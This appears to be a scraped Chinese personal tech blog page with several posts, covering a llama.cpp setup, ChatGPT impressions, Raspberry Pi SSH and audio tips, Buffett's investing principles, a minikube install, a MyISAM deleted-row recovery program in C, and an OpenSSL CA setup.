Welcome to Hexo!
使用LLAMA、llama.cpp搭建类ChatGPT环境
ChatGPT劲爆式的出现,使得AI又重新火了一把,又一次将人工智能带到群众面前,人工智能的发展是断断续续曲折的,随着硬件不断升级,这次应该不是昙花一现,有足够的算力来支撑本次时代变革。在ChatGPT聊天交互式的体验中,让我对计算机处理自然语言的能力又一次加深。近期开源社区也发布了很多开源模型,本次搭建一个类ChatGPT的应用,来加深对大语言模型的理解,为后续深入学习人工智能打下基础。
本次类ChatGPT搭建模型使用Mate原型 LLaMA + Chinese-LLaMA-Alpaca-7B,推理使用llama.cpp。
- LLaMA https://github.com/facebookresearch/llama
LLaMA模型为Mate 发布的模型,现在暂未开源,可以申请获取训练的数据,也可以在网上寻找。模型参数数据包括7B 13B 33B 65B,咱们这次选择最简单的7B参数模型。 - Chinese-LLaMA-Alpaca https://github.com/ymcui/Chinese-LLaMA-Alpaca
Chinese-LLaMA-Alpaca 中文LLaMA模型和指令精调的Alpaca大模型,这些模型在原版LLaMA的基础上扩充了中文词表并使用了中文数据进行二次预训练,进一步提升了中文基础语义理解能力,具体可以查询官方GITHUB。 - llama.cpp https://github.com/ggerganov/llama.cpp
llama.cpp是纯 C/C++开发的LLaMA 模型的推导器,可以使用CPU进行推理,也可以在个人电脑上进行使用,消耗CPU比较明显,交互过程机器中呜呜的作响。
我们可以直接使用llama.cpp去加载Mate的原版参数模型数据,但是为了更好的支持中文交互,我们需要将Chinese-LLaMA-Alpaca中的模型和原版LLAMA的模型进行合并,然后做格式转换,由llama.cpp来推导解析,整个过程包括以下6个步骤:
- 1-LLaMA 7B模型下载
- 2-Chinese-LLaMA-Alpaca 7B中文模型下载
- 3-原版模型和中文模型进行合并模型
- 4-模型格式转换,转换为llama.cpp可推导的格式
- 5-下载llama.cpp,编译安装
- 6-对模型数据进行测试
步骤1-4可以直接从网上下载,我推荐 https://aistudio.baidu.com/aistudio/projectdetail/5930734 ->数据集->下载zh-models.zip和Chinese-LLaMA-Alpaca-main.zip,作者梦未央02,已经为咱们把模型合并好了,可以直接用,也可以自己合并,合并需要自己得电脑配置超过模型的数据大小。(我在自己电脑上面和google云盘上面都没有合并成功,本地配置太差,google云盘有限制)
步骤5-下载llama.cpp,编译安装,按照官方步骤去编译即可,我使用虚拟机编译有报错,编译参数需要添加 -mfma,不然会提示以下信息:
1
/include/fmaintrin.h:63:1: error: inlining failed in call to ‘always_inline’ ‘_mm256_fmadd_ps’: target specific option mismatch`
可以直接在报错信息后面添加,也可以直接修改配置,Makefile也有对应的选项,直接添加最划算
1
2cc -I. -O3 -DNDEBUG -std=c11 -fPIC -Wall -Wextra -Wpedantic -Wcast-qual -Wdouble-promotion -Wshadow -Wstrict-prototypes -Wpointer-arith -pthread -march=native -mtune=native -c ggml.c -o ggml.o -mfma
     步骤6-对模型数据进行测试,编译成功后就可以进行测试,为了测试是否连接互联网获取信息,可以直接断网,你会发现直接根据模型数据进行推理,这个不依赖互联网外部数据。
1 | ./main -m zh-models/7B/ggml-model-q4_0.bin --color -f prompts/alpaca.txt -ins -c 200 --temp 0.2 -n 256 --repeat_penalty 1.3 |
交互过程中CPU使用率特别高,我的虚拟机配置为4C8G,每次回答问题长一些机器就会呜呜响,今天就到这里了。
面对模型bin文件让我想起来西部世界中接待员机器脑壳里面的圆形物体,以后可以变为具有自我思维的AI了。
在使用ChatGPT中的一些感想
1. 初次使用ChatGPT
ChatGPT发布后,第一时间注册了账号进行了试用,刚开始还是按照使用搜索引擎的经验进行了简单的问答,询问简单的问题可以直接给出答案,这一点比通用搜索引擎要好很多,起码不会浪费时间一页页寻找答案。同时相比天猫精灵、小爱等语音智能音箱问答要体验好的多,问的问题基本上都可以给出比较靠谱的方法,当时也没有进一步进行测试和深入,这就是刚刚接触到chatGPT的看法,完全还没有脱离现在日常习惯和思维模式,只是当作一个搜索引擎来看待。
2. 思想转变
经过一件事情让我立马重视起来,只听别人讲不是很深刻。因为工作的原因需要一套文件传输工具,日常工作一般比较喜欢用C语言来编写代码,这次选择使用JAVA语言来练习一下手速。因为办公内网原因,环境搭建、功能设计、编写、调试用了小半天时间,最后还是只是一个半成品,只能实现简单的功能。下班后想起来chatGPT可以写代码,于是再次尝试一下chatGPT,以下就是我的对话。
1 | 我> 帮我使用java语言编写一个文件传输工具,包括客户端和服务端 |
当看到程序代码打印出来的那一刻,真的被惊呆了,没有真正体验是体验不到那种感觉的,你费劲吧啦做了一件事情,有人秒秒种完成,这种挫败感很深刻。
我紧接着,继续输入补充指令
1 | 我> 工具需要支持命令行参数输入、支持不可见字符、支持并发处理 |
这种自然语言沟通方式太顺畅了,通过自然语言输入进行指令传递,将来很多专业的活儿都可以通过自然语言进行工作,使用自然语言就可以达到专业人员的水平,我继续增加文件功能
1 | 我> 需要支持大文件传输 |
整个过程中除了等待一行行打印和可恶的“继续”外,全程特别流畅,我将代码复制到编译器中进行编译,一次编译通过。并简单测试完成可以使用,暂不说是否真正支持生产环境,只是简单的POC代码已经胜过很多专业人士,需要懂得软件的一些属性特质,编写完程序,我的第一反应是未来软件行业要改变了,兄弟们可能就要失业了,程序员最终还是干掉了程序员。固定功能无业务属性的代码,绝对可以使用chatGPT来写,测试使用charGPT还是GPT3.5模型。软件行业怎么说还是一个高智力行业,该行业如果大部分工作可以用过AI来代替,其他行业一些简单的、重复的、有规则的工作更容易被代替。AI的时代说来就来,科技提高生产力的同时,希望不要带来很多失业。
3.创造能力
使用chatGPT做单纯的基于规则的工作完全胜任,但是在创造方便还有些不足,但现阶段不是大问题。测试使用charGPT编写文档,给出一个主题,描述一些背景和要求,chatGPT给出的答案有些一本正经的胡说八道,不懂的人看着也对,懂的人看着就是各种文档的拼凑。让其编写故事,构造一些故事背景,这种非严谨的主题下,chatGPT出来的结果并不滑稽。在GPT3.5免费版本情况下,这种能力已经很厉害的,GPT4.0更是颠覆性变大。也试用了国内百度一言,差距还是很大。
4.总结
现阶段基于规则的工作内容岗位,很容易被GPT3.5所代替,GPT效率更高、更不易出错、成本更低(后续会低),现有基于GPT衍变出来的应用越来越多,多数还是助手级别的应用,将来应用会有更大的创新,对生活和工作影响会更大。现阶段可预见被代替的岗位包括翻译、客服、普通会计、操作工人、仓库管理、数据管理、插画师等,随着AI能力的提升,应用场景会更丰富,也会减少更多的岗位。在金融行业带来冲击和机会的岗位包括智能柜面、智能客服、监控一线人员、数据库脚本工程师、普通开发工程师。
解决树莓派SSH登录和输入卡顿,试了很多方法
关于树莓派SSH登录和输入卡顿的原因,各种说法都有,多数都说是dns的问题和GSSAPI的问题,试过了都不行,找到一个关于IPQoS 的方法,设置后解决了。
/etc/ssh/sshd_config最后追加
IPQoS cs0 cs0
IPQoS的解释
对应的服务 IPv4优先级/ EXP / 802.1P DSCP(二进制) DSCP(十进制) TOS(十六进制) 应用
BE 0 0 0 0 Internet
AF1 Green 1 1010 10 28 Leased Line
AF2 Green 2 10010 18 48 IPTV VOD
AF3 Green 3 11010 26 68 IPTV Broadcast
AF4 Green 4 100010 34 88 NGN/3G Singaling
EF 5 101110 46 B8 NGN/3G voice
CS6 6 110000 48 C0 Protocol
CS7 7 111000 56 E0 Protocol
巴菲特的基础投资理念记录
虽然市场瞬息万变,但是巴菲特的这些基础投资理念,几十年来却都没有变过。他把这些基础投资理念叫做“永不过时的指导
1. 基本原则一:永远不去预测市场
作者告诉我们,巴菲特很早就宣称过,自己根本没有能力预测整个市场的走向。他在书里举了一个例子。某些合伙人给巴菲特打电话,说某某股票将会像几个月前那样持续利好,应该赶紧买。但是巴菲特对他们的提议,实际上是不屑一顾的。
巴菲特曾说:“如果他们在2月份就知道道琼斯指数在5月份会达到865点,那他们当时为什么不让我进场?如果合伙人三个月前不能预测道指的走向,那他们凭什么觉得自己突然之间具备了预测能力?”
换句话说,巴菲特不仅不喜欢自己去预测市场,也无法忍受那些“擅长”预测的人,尤其是在市场趋势出现之后发表马后炮观点的合伙人。他把这种看法称作“偏见”。
2. 基本原则二:投资“深度价值”
投资不看市场趋势,看什么呢?看的就是“深度价值”。这条原则也就是著名的“价值投资原则”。作者认为,巴菲特所谓的“深度价值”,就是那些产品过硬、经营有方,但是又很不起眼的公司。一旦发现这样的公司,他就会开始比较这个公司的实际资产和市场估值。如果市场估值过低,那巴菲特就会毫不犹豫地出手,买那个公司的股票。
巴菲特曾经说过:“我们买卖股票,不是基于对市场前景的看法,而是要基于对一个公司前景的看法。”
比如有一次,巴菲特发现了一家默默无闻的公司,名叫“桑伯恩地图”。这家公司做的事情就是给美国的每个城市画地图,而且他们的地图可以精确到每栋楼。巴菲特认为当时的市场严重低估了这个公司的价值,所以他就大量买进这家公司的股票,最后大赚了一笔。
在2020年度致股东公开信中,巴菲特讲到了什么样的企业才值得收购。他提出了三条标准:
第一,该企业的净有形资本必须取得良好回报。第二,该企业必须由能干而诚实的管理者管理。
第三,该企业必须以合理的价格买到。
在现实中,符合这三个要求的大型收购机会很少。不过巴菲特觉得这也没关系,他宁愿等待好的机会,也不会对不好的机会出手。
他曾经说过这么一句话:“只有面对真正的好球时,我才会挥杆打一球”。
3. 基本原则三:放长线,钓大鱼
作者告诉我们,在衡量公司业绩的时候,巴菲特从来不关心短期结果。他认为,三年是衡量一个公司业绩的“最短期限”,他曾经建议投资人,最少要关注一个公司最近五年的业绩。那么,巴菲特手下的伯克希尔-哈撒韦公司的长期情况又是如何呢?根据最新的财务报告,从1965年到2019年,伯克希尔-哈撒韦公司每股市值的复合年增长率为20.3%,是“标普500”增长率的2倍多。
如果在把这个“长期”的时间延长,从1964年到2019年,伯克希尔-哈撒韦公司的市值增长率是的2744062%,也就是增长了27440倍多,这个数字十分令人吃惊。
在2020年度致股东公开信中,巴菲特再次说明“放长线、钓大鱼”原则的好处:它不仅有利于增加成功投资带来的收益,也有利于减少失败投资带来的问题。随着时间的流逝,一些错误的、失败的投资,可以被“治愈”。
4. 基本原则四:业绩的好坏,要知道跟谁比
巴菲特很早就说过:业绩是相对的。相对的意思,就是有合适的比较对象。那个用来比较的标杆,就是可以看成“风向标”的美股几大指数,比如道琼斯指数、标准普尔500指数等。
作者告诉我们,巴菲特曾经视道琼斯指数为标杆,并以跑赢道琼斯指数为目标。
如果某一年道琼斯指数下跌了10%,而他的投资只跌了5%,他就认为自己获得了胜利;反过来,如果某一年道琼斯上扬了25%,而他的投资只增长了20%,他就觉得自己失败了,坚决不会为此庆祝。
5. 基本原则五:复利
巴菲特在给合伙人讲解投资基础时,总会谈到他最喜欢的概念:复利收益。他画过一张“蓝图”,告诉合伙人金钱增长的速度是多么惊人:“假设投资10万美元,年收益是4%,那么10年后你会得到148024美元;按照同样的收益率,30年之后,这个数字会飙升至324337美元。如果把收益率增加到16%,那么10万美元在30年后将增加到850万美元。”
反过来,巴菲特也曾经告诉合伙人,费用、税收等其他被忽略的因素,可能会让财富大幅缩水。
总而言之:微小的变量在长期也能带来巨大的变化。
Ubuntu 安装minikebe
1.下载并安装
curl -LO https://storage.googleapis.com/minikube/releases/latest/minikube_1.5.2.deb \
&& sudo dpkg -i minikube_1.5.2.deb
2.查看是否支持虚拟化
egrep -q 'vmx|svm' /proc/cpuinfo && echo yes || echo no
3.启动minikebe,需要网络下载
1)本地运行
sudo minikube start –vm-driver=none
2)使用vbox运行(不能使用root用户,vbox非不能用root)
minikube start --vm-driver=virtualbox
3)设置默认运行环境
sudo minikube config set vm-driver none
or
minikube config set vm-driver virtualbox
4)国内网络限制,使用aliyun的资源
minikube start --vm-driver=virtualbox --image-mirror-country=cn
? Ubuntu 18.04 上的 minikube v1.5.2
? Tip: Use 'minikube start -p <name>' to create a new cluster, or 'minikube delete' to delete this one.
? Starting existing virtualbox VM for "minikube" ...
⌛ Waiting for the host to be provisioned ...
⚠️ VM is unable to access k8s.gcr.io, you may need to configure a proxy or set --image-repository
? 正在 Docker '18.09.9' 中准备 Kubernetes v1.16.2…
? Relaunching Kubernetes using kubeadm ...
⌛ Waiting for: apiserver
? 完成!kubectl 已经配置至 "minikube"
? 为获得最佳结果,请安装 kubectl:https://kubernetes.io/docs/tasks/tools/install-kubectl/
4.查看状态minikube,连接ssh
key1088@key1088-Vostro-3459:~$ minikube status
host: Running
kubelet: Running
apiserver: Running
kubeconfig: Configured
key1088@key1088-Vostro-3459:~$ minikube ssh _ _ _ _ ( ) ( ) ___ ___ () ___ ()| |/‘) _ _ | |_ __ /‘ _ _
| |/‘ _ \| || , < ( ) ( )| '_
\ /‘_\ | ( ) ( ) || || ( ) || || |\
\ | () || |) )( _/ () (_) ()()() ()()() ()\___/'(_,__/'
___)
$ exit
5.启动dashboard
添加PATH变量
export PATH=$PATH:$HOME/.minikube/cache/v1.16.2/
minikube dashboard

树莓派进行录音和音频降噪
树莓派最近开始清理清理上面的灰,玩一些东西.
录音设备使用USB摄像头集成的录音功能(N年前的老货,开始发挥余热),使用命令查询设备是否被发现.
pi@raspberrypi:~/workdir $ arecord -l **** List of CAPTURE Hardware Devices **** card 1: CAMERA [USB2.0 PC CAMERA], device 0: USB Audio [USB Audio] Subdevices: 1/1 Subdevice #0: subdevice #0
1.使用arecord命令进行录音记录,默认不添加-d参数,一直进行录制.(ctrl+c可以结束掉它)
pi@raspberrypi:~/workdir $ arecord -D "plughw:1,0" -r 16000 -c 1 -t wav -f S16_LE 2019102820252.wav Recording WAVE '20191028.wav' : Signed 16 bit Little Endian, Rate 16000 Hz, Mono ^CAborted by signal Interrupt… arecord: pcm_read:2103: read error: Interrupted system call
2.使用audacity进行杂音取样.选中杂音段进行文件导出.(选择文件->导出音频->选择wav格式即可,保持文件名称noise.wav)

3.使用sox工具进行降噪处理.(如果没有安装使用apt-get install soxi进行安装)
先进行噪音提取码提取
sox noise.wav -n noiseprof noise.prof
根据噪音提取码进行降噪处理(0.21为系数,推荐使用0.21)
sox 20191028202528.wav new.wav noisered noise.prof 0.21
降噪后的音频对比如下,降噪还是挺明显.

关于MYSQL MyISAM引擎delete 恢复方法和猜想
如果使用MYSQL数据库,不一小心误操作,删除掉不该删除的数据,同时又没有打开BIN-LOG,怎么办呢?除了后悔没有按时备份还能怎么办??本篇带来一遍恢复数据的文档,不能完全恢复只是给一个思路
此方法只用与MyISAM引擎,同时只是实用于部分数据,如果使用delete from xxx不带where条件的删除,是没有办法恢复的,使用此方法也不能完全恢复,只会找回一些数据,总比没有什么都没有要一些吧.
还有网上很多文档说delete只是修改的索引值而不是真正的删除,这个至少我没有办法也许是版本的问题就不去深究了.
**注意:当遇到数据被误删除事,请不要立马恢复之前的备份(如果可以的),而是先把服务停掉不让其继续写数据,再把数据库的数据文件备份出来,在mysql数据目录下面,已数据库名称为目录.
**
开始操作
MyISAM的存储引擎每一个表需要三个文件,如下(XXX代表表名称):
恢复数据我们只需要重点关注数据文件即可.使用16进制模式打开文件,看一下文件内容隐约能看到一些内容. 在WINDOWS下面可以用UE打开,在linux下面直接使用hexdump命令即可,命令如下:
- XXX.frm 表结构
- XXX.MYD 数据文件
- XXX.MYI 索引文件
hexdump -e '8/1 "%02X ""\t"" "' -e '8/1 "%c""\n"' test.MYD
在打开数据文件之前,先看一下我使用的数据表结构和测试数据.
mysql> desc test;
+------------+-------------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+------------+-------------+------+-----+---------+-------+
| userid | int(10) | NO | PRI | NULL | |
| username | varchar(60) | NO | | NULL | |
| password | varchar(60) | NO | | NULL | |
| lastupdate | date | NO | | NULL | |
+------------+-------------+------+-----+---------+-------+
4 rows in set (0.00 sec)
mysql> select * from test limit 10,10;
+--------+----------+----------+------------+
| userid | username | password | lastupdate |
+--------+----------+----------+------------+
| 13 | admin13 | passwd13 | 2017-03-11 |
| 14 | admin14 | passwd14 | 2017-03-11 |
| 15 | admin15 | passwd15 | 2017-03-11 |
| 16 | admin16 | passwd16 | 2017-03-11 |
| 17 | admin17 | passwd17 | 2017-03-11 |
| 18 | admin18 | passwd18 | 2017-03-11 |
| 19 | admin19 | passwd19 | 2017-03-11 |
| 20 | admin20 | passwd20 | 2017-03-11 |
| 21 | admin21 | passwd21 | 2017-03-11 |
| 22 | admin22 | passwd22 | 2017-03-11 |
+--------+----------+----------+------------+
10 rows in set (0.00 sec)
然后打开数据文件,截取一段16进制数据.
69 6E 31 32 08 70 61 73 in12^Hpas
73 77 64 31 32 6B C2 0F swd12kÂ^O
01 00 19 00 0D 00 00 00 ^A^@^Y^@^M^@^@^@
07 61 64 6D 69 6E 31 33 ^Gadmin13
08 70 61 73 73 77 64 31 ^Hpasswd1
33 6B C2 0F 01 00 19 00 3kÂ^O^A^@^Y^@
0E 00 00 00 07 61 64 6D ^N^@^@^@^Gadm
69 6E 31 34 08 70 61 73 in14^Hpas
73 77 64 31 34 6B C2 0F swd14kÂ^O
01 00 19 00 0F 00 00 00 ^A^@^Y^@^O^@^@^@
07 61 64 6D 69 6E 31 35 ^Gadmin15
08 70 61 73 73 77 64 31 ^Hpasswd1
35 6B C2 0F 01 00 19 00 5kÂ^O^A^@^Y^@
10 00 00 00 07 61 64 6D ^P^@^@^@^Gadm
69 6E 31 36 08 70 61 73 in16^Hpas
73 77 64 31 36 6B C2 0F swd16kÂ^O
01 00 19 00 11 00 00 00 ^A^@^Y^@^Q^@^@^@
07 61 64 6D 69 6E 31 37 ^Gadmin17
08 70 61 73 73 77 64 31 ^Hpasswd1
37 6B C2 0F 01 00 19 00 7kÂ^O^A^@^Y^@
12 00 00 00 07 61 64 6D ^R^@^@^@^Gadm
69 6E 31 38 08 70 61 73 in18^Hpas
73 77 64 31 38 6B C2 0F swd18kÂ^O
01 00 19 00 13 00 00 00 ^A^@^Y^@^S^@^@^@
07 61 64 6D 69 6E 31 39 ^Gadmin19
08 70 61 73 73 77 64 31 ^Hpasswd1
39 6B C2 0F 01 00 19 00 9kÂ^O^A^@^Y^@
14 00 00 00 07 61 64 6D ^T^@^@^@^Gadm
69 6E 32 30 08 70 61 73 in20^Hpas
73 77 64 32 30 6B C2 0F swd20kÂ^O
01 00 19 00 15 00 00 00 ^A^@^Y^@^U^@^@^@
07 61 64 6D 69 6E 32 31 ^Gadmin21
08 70 61 73 73 77 64 32 ^Hpasswd2
31 6B C2 0F 01 00 19 00 1kÂ^O^A^@^Y^@
16 00 00 00 07 61 64 6D ^V^@^@^@^Gadm
69 6E 32 32 08 70 61 73 in22^Hpas
73 77 64 32 32 6B C2 0F swd22kÂ^O
01 00 19 00 17 00 00 00 ^A^@^Y^@^W^@^@^@
07 61 64 6D 69 6E 32 33 ^Gadmin23
08 70 61 73 73 77 64 32 ^Hpasswd2
userid=13的明细对应着一下16进制数据快.
01 00 19 00 0D 00 00 00 ^A^@^Y^@^M^@^@^@
07 61 64 6D 69 6E 31 33 ^Gadmin13
08 70 61 73 73 77 64 31 ^Hpasswd1
33 6B C2 0F
简单解析一下这些数据结构的意思.
咱们删除一条数据看一下数据快的变化:
- 01 00 19 00 :这里是4位数据头,不代表头就是4为,这个数据头不固定
- 0D 00 00 00 :为userid的值13,int占4位.
- 07 61 64 6D 69 6E 31 33 :07代表长度 后面7位为数据,varchar数据这样表示.
- 08 70 61 73 73 77 64 31 33 :varchar和上面一样.
- 6B C2 0F :为date类型,占位为3.值为2017,计算方法是"day + month32 + year16*32'"
- 具体其他数据字段长度和结构可以详见MYSQL官方文档 https://dev.mysql.com/doc/internals/en/myisam-column-attributes.html
mysql> delete from test where userid = 13;
Query OK, 1 row affected (0.00 sec)
mysql> select * from test limit 9,10;
+--------+----------+----------+------------+
| userid | username | password | lastupdate |
+--------+----------+----------+------------+
| 12 | admin12 | passwd12 | 2017-03-11 |
| 14 | admin14 | passwd14 | 2017-03-11 |
| 15 | admin15 | passwd15 | 2017-03-11 |
| 16 | admin16 | passwd16 | 2017-03-11 |
| 17 | admin17 | passwd17 | 2017-03-11 |
| 18 | admin18 | passwd18 | 2017-03-11 |
| 19 | admin19 | passwd19 | 2017-03-11 |
| 20 | admin20 | passwd20 | 2017-03-11 |
| 21 | admin21 | passwd21 | 2017-03-11 |
| 22 | admin22 | passwd22 | 2017-03-11 |
+--------+----------+----------+------------+
10 rows in set (0.00 sec)
删除后的数据块如下:
69 6E 31 32 08 70 61 73 in12^Hpas
73 77 64 31 32 6B C2 0F swd12kÂ^O
00 00 00 1C 00 00 00 00 ^@^@^@^\^@^@^@^@
00 00 0A D4 FF FF FF FF ^@^@Ôÿÿÿÿ
FF FF FF FF 73 77 64 31 ÿÿÿÿswd1
33 6B C2 0F 01 00 19 00 3kÂ^O^A^@^Y^@
0E 00 00 00 07 61 64 6D ^N^@^@^@^Gadm
69 6E 31 34 08 70 61 73 in14^Hpas
73 77 64 31 34 6B C2 0F swd14kÂ^O
01 00 19 00 0F 00 00 00 ^A^@^Y^@^O^@^@^@
07 61 64 6D 69 6E 31 35 ^Gadmin15
08 70 61 73 73 77 64 31 ^Hpasswd1
35 6B C2 0F 01 00 19 00 5kÂ^O^A^@^Y^@
10 00 00 00 07 61 64 6D ^P^@^@^@^Gadm
69 6E 31 36 08 70 61 73 in16^Hpas
73 77 64 31 36 6B C2 0F swd16kÂ^O
01 00 19 00 11 00 00 00 ^A^@^Y^@^Q^@^@^@
07 61 64 6D 69 6E 31 37 ^Gadmin17
08 70 61 73 73 77 64 31 ^Hpasswd1
37 6B C2 0F 01 00 19 00 7kÂ^O^A^@^Y^@
12 00 00 00 07 61 64 6D ^R^@^@^@^Gadm
USERID=13数据块变化对比
delete后
00 00 00 1C 00 00 00 00 ^@^@^@^\^@^@^@^@
00 00 0A D4 FF FF FF FF ^@^@Ôÿÿÿÿ
FF FF FF FF 73 77 64 31 ÿÿÿÿswd1
33 6B C2
delete前
01 00 19 00 0D 00 00 00 ^A^@^Y^@^M^@^@^@
07 61 64 6D 69 6E 31 33 ^Gadmin13
08 70 61 73 73 77 64 31 ^Hpasswd1
33 6B C2 0F
前20位被破坏了,但是后面的数据还可以,只是数据很少了,如果没有数据写入的话,还有一线恢复的生机,主要找到后面数据的对应关系才能恢复
如果是大批量的数据被删除,恢复就需要看运气了,大家还是定时做好备份和开始mysql的log-bin模式.
关于头长度和delete头长度请阅读mysql官方
https://dev.mysql.com/doc/internals/en/layout-record-storage-frame.html
关于解析test.MYD文件格式,写了一些代码希望对理解MDY文件结构有些帮助.
key1088@key1088-host:~/code/repari$ cat repariMYD.c
#include <stdio.h>
#include <string.h>
#include <ctype.h>
#include <stdlib.h>
#include <errno.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <arpa/inet.h>
void writeSQL(char *filebuf,unsigned int flen);
int main(int argc, char **argv)
{
int fd=0;
unsigned flen = 0;
unsigned char *filebuf = NULL;
struct stat fsbuf;
char *filename = NULL;
if ( argc < 2 ) {
printf("repari Mysql MyISAM DataFile\n");
printf("%s [MyISAM DATA .MYD File] \n", argv[0]);
exit(-1);
}
filename = argv[1];
if ( stat(filename,&fsbuf) == -1 ) {
printf("open file test.MYD error,msg = %s\n", strerror(errno));
exit(-1);
}
flen = fsbuf.st_size;
printf("Read %s filesize is %u\n", argv[1], flen);
if ( flen == 0 ) {
printf("file is empty\n");
exit(-1);
}
if( (fd=open(filename,O_RDONLY) ) == -1 ) {
printf("open file test.MYD error,msg = %s\n", strerror(errno));
exit(-1);
}
filebuf = (unsigned char *)malloc(flen*sizeof(char)+1);
if ( filebuf == NULL ) {
printf("malloc error,msg = %s\n", strerror(errno));
close(fd);
exit(-1);
}
read(fd,filebuf,flen);
close(fd);
writeSQL(filebuf,flen);
free(filebuf);
return 0;
}
void writeSQL(char *filebuf,unsigned int flen)
{
char c;
unsigned i = 0;
long tmplen = 0;
unsigned char tmp[5];
unsigned char tmpchar[255+1];
int y,m,d;
while ( i < flen ) {
if ( filebuf[i] == 0x00 ) {
i++;
}
printf("head=[%02x]", filebuf[i]);
if( filebuf[i] == 0x03 ) {
i = i + 1 + 4; /* 1 + 4head */
} else if ( filebuf[i] == 0x01 ) {
i = i + 1 + 3; /* 1 + 3head */
}
/* int 4B */
memset(tmp,0x00,sizeof(tmp));
if ( (i+4) > flen ) {
printf("\nover\n");
return;
}
memcpy(tmp,filebuf + i, 4);
/*需要倒序*/
sprintf(tmp,"%02x%02x%02x%02x",tmp[3],tmp[2],tmp[1],tmp[0]);
printf("[%s] %ld - ", tmp, strtol(tmp,NULL, 16));
i = i + 4;
/*varchar */
/* 1位长度 */
memset(tmp,0x00,sizeof(tmp));
if ( (i+1) > flen ) {
printf("\nover\n");
return;
}
memcpy(tmp,filebuf + i, 1);
sprintf(tmp,"%02x",tmp[0]);
tmplen = strtol(tmp,NULL,16);
i = i + 1;
/* DATA */
memset(tmpchar,0x00,sizeof(tmpchar));
if ( (i + tmplen)> flen ) {
printf("\nover\n");
return;
}
memcpy(tmpchar,filebuf + i, tmplen);
printf("%s - ", tmpchar);
i = i + tmplen;
/*varchar*/
/* 1位长度 */
memset(tmp,0x00,sizeof(tmp));
if ( (i+1) > flen ) {
printf("\nover\n");
return;
}
memcpy(tmp,filebuf + i, 1);
sprintf(tmp,"%02x",tmp[0]);
tmplen = strtol(tmp,NULL,16);
i = i + 1;
/* DATA */
memset(tmpchar,0x00,sizeof(tmpchar));
if ( (i+tmplen) > flen ) {
printf("\nover\n");
return;
}
memcpy(tmpchar,filebuf + i, tmplen);
printf("%s - ", tmpchar);
i = i + tmplen;
/*date 3位 */
memset(tmp,0x00,sizeof(tmp));
memset(tmpchar,0x00,sizeof(tmpchar));
if( (i+3) > flen) {
printf("\nover\n");
return;
}
memcpy(tmp,filebuf + i,3);
sprintf(tmpchar,"%02x%02x%02x",tmp[2],tmp[1],tmp[0]);
tmplen = strtol(tmpchar,NULL,16);
y = m = d = 0;
y = tmplen / 32 / 16;
m = (tmplen - (32*16*y)) / 32;
d = tmplen - (32*16*y) - (32*m);
printf("%d-%d-%d",y,m,d);
i = i + 3;
printf("\n");
}
}
key1088@key1088-host:~/code/repari$
源码搭建CA服务器,证书可申请、吊销
现在越来越多的项目在设计的过程中会很注重网络安全,银行金融业和监管机构之间一般采用金融城域网专线连接,在链路上面也使用CA数字证书,一般金融业的CA证书都是CFCA颁发,或者使用制定型号的 加密机。本章主要介绍一下CA服务器的搭建、证书的申请和吊销(也可以自己做加密机),后续有时间会写一下关于程序中怎么使用CA证书进行安全校验的。
openssl安装:
先来介绍一下openssl的安装,一般LINUX发行版都会自带openssl工具,裁剪系统中一般自己来编译安装。
我们的编译和测试环境如下:
key1088@key1088-host:$ uname -a
Linux key1088-host 4.4.0-36-generic #55-Ubuntu SMP Thu Aug 11 18:01:55 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
key1088@key1088-host:$ gcc --version
gcc (Ubuntu 5.4.0-6ubuntu116.04.2) 5.4.0 20160609
Copyright (C) 2015 Free Software Foundation, Inc.
This is free software; see the source for copying conditions. There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
1.下载openssl源代码
https://www.openssl.org/
wget https://www.openssl.org/source/openssl-1.1.0.tar.gz
2.编译安装
tar xvf openssl-1.1.0.tar.gz
cd openssl-1.1.0
./config
make
咱们这次就不make install了,就在这个目录下面操作了,需要临时设置一下环境变量
这个版本默认编译出来静态bin文件在apps下面
-rw-rw-r-- 1 key1088 key1088 911 9月 4 13:49 x509.d
-rwxrwxr-x 1 key1088 key1088 680616 9月 4 13:49 openssl
-rwxrwxr-x 1 key1088 key1088 6755 9月 4 13:50 CA.pl
-rwxrwxr-x 1 key1088 key1088 6613 9月 4 13:50 tsget
3.环境变量设置
key1088@key1088-host:/openssl-1.1.0/apps$ ./openssl version
./openssl: error while loading shared libraries: libssl.so.1.1: cannot open shared object file: No such file or directory
key1088@key1088-host:/openssl-1.1.0/apps$ LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$HOME/openssl-1.1.0
key1088@key1088-host:/openssl-1.1.0/apps$ export LD_LIBRARY_PATH
key1088@key1088-host:/openssl-1.1.0/apps$ ./openssl versionOpenSSL 1.1.0 25 Aug 2016
出现版本号就证明环境变量设置正确,openssl可以用了。
CA服务器证书生成:
CA(Certificate Authority)证书颁发机构主要负责证书的颁发、管理以及归档和吊销。证书内包含了拥有证书者的姓名、地址、电子邮件帐号、公钥、证书有效期、发放证书的CA、CA的数字签名等信息。证书主要有三大功能:加密、签名、身份验证。
所有的操作默认在openssl-1.1.0目录下进行
2.生成CA密钥
mkdir -p CA/private
key1088@key1088-host:/openssl-1.1.0$ (umask 077;./apps/openssl genrsa -out CA/private/cakey.pem 2048)
Generating RSA private key, 2048 bit long modulus
.................................+++
..........+++
unable to write 'random state'
e is 65537 (0x010001)
如果出现这个“unable to write ‘random state’”设置一下环境变量即可
key1088@key1088-host:/openssl-1.1.0$ export RANDFILE=$HOME/.rnd
key1088@key1088-host:/openssl-1.1.0$ (umask 077;./apps/openssl genrsa -out CA/private/cakey.pem 2048)
Generating RSA private key, 2048 bit long modulus
.................................+++
.....................................................................................+++
e is 65537 (0x010001)
2.生成自签名证书
创建配置文件目录
mkdir etc
cp apps/openssl.cnf etc
为了简化证书制作过程中的输入 修改了etc/openssl.cnf,修改对比内容如下
key1088@key1088-host:~/openssl-1.1.0$ diff etc/openssl.cnf apps/openssl.cnf
42c42
< dir = ./CA # Where everything is kept
key1088@key1088-host:
Linux key1088-host 4.4.0-36-generic #55-Ubuntu SMP Thu Aug 11 18:01:55 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
key1088@key1088-host:
gcc (Ubuntu 5.4.0-6ubuntu1
Copyright (C) 2015 Free Software Foundation, Inc.
This is free software; see the source for copying conditions. There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
wget https://www.openssl.org/source/openssl-1.1.0.tar.gz
tar xvf openssl-1.1.0.tar.gz
